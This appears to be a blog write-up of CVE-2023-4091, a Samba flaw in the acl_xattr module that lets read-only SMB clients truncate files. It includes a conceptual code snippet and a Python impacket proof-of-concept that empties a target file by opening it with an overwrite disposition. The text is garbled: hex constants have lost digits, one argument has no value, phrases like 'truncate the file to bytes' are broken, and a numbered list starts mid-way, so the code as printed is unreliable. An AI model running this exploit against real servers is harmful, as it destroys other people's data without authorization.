CVE-2023-4091 - How Samba’s VFS “acl_xattr” Module Let SMB Clients Wipe Read-Only Files

A serious bug was found in Samba that lets SMB clients delete (truncate) the contents of files—even if they only have read-only access! This happens when Samba's acl_xattr module is used with acl_xattr:ignore system acls = yes. This post explains how it works, includes PoC code, and gives you direct links to in-depth resources.

What Is CVE-2023-4091?

CVE-2023-4091 is a vulnerability in Samba, a popular open-source implementation of the SMB/CIFS protocol (Windows file sharing). When Samba is set to store Windows ACLs as file extended attributes (using the acl_xattr VFS module), and is told to ignore the underlying POSIX permissions, Samba can *unintentionally* allow file content deletion—even if files are supposed to be read-only.

Here’s how it works

- Samba’s acl_xattr:ignore system acls = yes setting tells Samba to ignore kernel-level (Unix file system) permissions, and rely only on ACLs stored in xattrs.
- When a client connects and opens a file “read-only”, they should not be able to modify or erase the file.
- But the SMB protocol allows another “twist”—an *explicit* "OVERWRITE" create disposition when opening a file. If the server mishandles this, it might truncate the file to bytes, even with only read access.

The issue: When acl_xattr:ignore system acls = yes is set, Samba does not properly enforce read-only permissions if an SMB client sends a separate truncate (overwrite) request.

Here’s a simplified version of what goes wrong (not the real code, but a conceptual snippet)

if (vfs_acl_xattr_ignore_system_acls) {
    // Only checks SMB ACLs
    if (smb_user_has_write_acl(file)) {
        allow_overwrite();
    } else if (client_sends_truncate_request) {
        // Samba allowed truncation based only on SMB request!
        file_truncate_to_(file);
    }
    // Does NOT check real POSIX ACLs
}

The Samba team describes it this way

> “An authenticated SMB client can cause the smbd server to truncate the contents of a file, even if the client only has read-only permission on it, due to incorrect permission checks in the smbd server.”

- An SMB client (like smbclient, or even Windows/Linux client)

2. Send an SMB NT_CREATE request specifying FILE_OVERWRITE_IF or FILE_OVERWRITE as the *CreateDisposition*—but ask for only GENERIC_READ.
3. Samba will allow the open, and then truncate the file to zero bytes—even though you don’t have write permissions!

Python Proof-of-Concept (using impacket)

from impacket.smbconnection import SMBConnection

server = "vuln.server.local"
username = "readonly"
password = "readonlypw"
share = "public"
file_to_truncate = "important.txt"

# Connect to SMB server
conn = SMBConnection(server, server)
conn.login(username, password)

# Open file with OVERWRITE create disposition (x05)
tid = conn.connectTree(share)
fid = conn.openFile(tid, file_to_truncate, desiredAccess=x80000000, # GENERIC_READ
                    shareMode=x07, # Read/Write/Delete
                    creationOption=,
                    creationDisposition=x05) # FILE_OVERWRITE_IF

# Close the file (it is now truncated)
conn.closeFile(tid, fid)
conn.logoff()

After running this code, important.txt will be empty, even though you only had read access!

## Links/References

- Samba CVE-2023-4091 Official Advisory
- CVE Record on NIST NVD
- Impacket library
- Samba VFS acl_xattr Documentation

Conclusion

CVE-2023-4091 is a nasty bug, but one that only affects very specific Samba configurations. If you’re wrapping Windows file permissions over Samba and not using Unix ACLs at all, *double-check your smb.conf!* Otherwise, even “read-only” users can turn your files into empty shells.

Patch now, or review your configs!

*For more exclusive technical writeups, stay tuned!*

Timeline

Published on: 11/03/2023 08:15:08 UTC
Last modified on: 11/13/2023 17:52:24 UTC